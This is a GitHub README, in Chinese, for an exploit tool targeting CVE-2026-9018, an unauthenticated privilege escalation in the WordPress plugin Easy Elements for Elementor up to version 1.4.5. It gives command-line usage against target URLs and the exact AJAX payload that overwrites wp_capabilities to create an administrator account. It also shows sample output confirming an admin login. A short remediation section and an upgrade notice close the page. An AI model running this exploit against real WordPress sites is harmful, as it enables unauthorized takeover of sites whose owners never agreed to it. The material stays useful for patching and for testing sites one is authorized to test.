xxconi/CVE-2026-9018

GitHub: xxconi/CVE-2026-9018

针对Easy Elements for Elementor插件CVE-2026-9018的未授权权限提升利用工具,通过AJAX覆盖用户权限元数据创建管理员账户。

Stars: 1 | Forks: 0

# CVE-2026-9018 # CVE-2026-9018 — Easy Elements for Elementor ≤ 1.4.5 | 未授权权限提升 ![CVE](https://img.shields.io/badge/CVE-2026--9018-critical?style=flat-square&color=red) ![CVSS](https://img.shields.io/badge/CVSS-8.8-high?style=flat-square&color=orange) ![CWE](https://img.shields.io/badge/CWE-269-orange?style=flat-square) ![认证](https://img.shields.io/badge/Auth-None-red?style=flat-square) ![Python](https://img.shields.io/badge/Python-3.10%2B-blue?style=flat-square) ## 概述 **Easy Elements for Elementor – Addons & Website Templates** WordPress 插件(版本 ≤ 1.4.5)存在一个未授权权限提升漏洞。通过 `wp_ajax_nopriv_eel_register` AJAX 处理程序暴露的 `easyel_handle_register()` 函数,直接将攻击者控制的 `custom_meta` POST 值传递给 `update_user_meta()`,而未进行任何键白名单校验。这使得未授权的攻击者能够覆盖 `wp_capabilities` 元键,从而创建一个**管理员级别**的账户。 | 属性 | 详情 | |----------------|------------------------------------------------------------------------| | **插件** | Easy Elements for Elementor – Addons & Website Templates (easy-elements) | | **受影响版本** | ≤ 1.4.5 | | **修复版本** | 1.4.6+ | | **攻击向量** | 网络 / 未授权 | | **CWE** | CWE-269: 权限管理不当 | | **AJAX 动作** | `eel_register` (nopriv) | ## 前置条件 在利用之前,目标站点必须满足以下条件: - ✅ WordPress **用户注册已启用**(`设置 → 常规 → 任何人都可以注册`) - ✅ 一个包含插件 **登录/注册小部件** 的页面可公开访问 - ✅ 该小部件在页面 DOM 中暴露了 `easy_elements_nonce` 值。 ## 环境要求 ``` pip install requests ``` ## 使用方法 ``` # Basic — 从首页获取的 nonce python3 poc.py -u https://target.com # 自定义凭据 python3 poc.py -u https://target.com -U hacker -e h@x.io -p P@ssw0rd! # Widget 位于 /login/ 页面 python3 poc.py -u https://target.com --nonce-page /login/ # 跳过 SSL 验证 python3 poc.py -u https://target.com --no-verify # 跳过 post-exploit 登录检查 python3 poc.py -u https://target.com --skip-verify-login ``` ### 参数 | 标志 | 描述 | 默认值 | |------------------------|------------------------------------------------------|--------------------| | `-u`, `--url` | 目标 WordPress URL | *(必填)* | | `-U`, `--username` | 新管理员账户的用户名 | `atomic_admin` | | `-e`, `--email` | 新管理员账户的邮箱 | `admin@atomicedge.io` | | `-p`, `--password` | 新管理员账户的密码 | `Atomic@Edge2026!` | | `-np`, `--nonce-page` | 包含登录/注册小部件的页面路径 | `/` | | `--no-verify` | 禁用 SSL 验证 | `false` | | `--skip-verify-login` | 跳过利用后的 WP 管理员登录验证 | `false` | ### 示例输出 ``` [*] Fetching nonce from: https://target.com/login/ [+] Nonce found: a1b2c3d4e5 [*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php [*] Username : atomic_admin [*] Email : admin@atomicedge.io [*] Role : administrator (via wp_capabilities override) [+] HTTP Status : 200 [✓] Privilege escalation payload accepted! [✓] Admin login CONFIRMED! ┌─────────────────────────────────────────┐ │ WP Admin : https://target.com/wp-admin/ │ Username : atomic_admin │ Password : Atomic@Edge2026! └─────────────────────────────────────────┘ ``` ## 技术细节 该利用遵循两步流程: **步骤 1 — Nonce 提取** 插件的 Elementor 登录/注册小部件在页面 HTML 中渲染了一个隐藏的 `easy_elements_nonce` 字段。该 nonce 对任何未授权访问者都是公开可访问的,并通过正则表达式从页面源代码中提取。 **步骤 2 — 恶意注册** 向 `/wp-admin/admin-ajax.php` 发送 POST 请求,包含 `action=eel_register`。精心构造 `custom_meta` 数组,包含以下内容: ``` custom_meta[wp_capabilities][administrator] = 1 ``` 由于 `easyel_handle_register()` 将所有 `custom_meta` 键直接传递给 `update_user_meta()` 而不进行白名单校验,因此在注册后 `wp_capabilities` 用户元数据被覆盖,授予新用户完全的管理员权限。 ## 修复措施 开发者必须对 `easyel_handle_register()` 应用以下修复: 1. **实施严格的白名单**,仅允许指定的 `custom_meta` 键(例如 `first_name`、`last_name`、`phone`) 2. **显式阻止**敏感键:`wp_capabilities`、`wp_user_level`、`session_tokens` 3. **避免处理**任何用户提供的元数据,如果 `wp_insert_user()` 之后不需要这些数据 4. 仅输入清理**不足以**解决问题——必须使用白名单 **→ 立即更新到 Easy Elements for Elementor 1.4.6 或更高版本。** ## 免责声明
标签:Addons & Website Templates, AJAX, CVE-2026-9018, CVE漏洞, CVSS 8.8, CVSS高危, CWE-269, Easy Elements for Elementor, Elementor插件, OpenVAS, PHP, update_user_meta, Web报告查看器, WordPress, WordPress插件安全, wp_ajax_nopriv, 协议分析, 威胁模拟, 安全漏洞, 插件漏洞, 文件完整性监控, 未授权访问, 未认证, 权限提升, 权限覆盖, 特权升级, 用户注册, 管理员账户, 自定义元数据, 账户创建, 逆向工具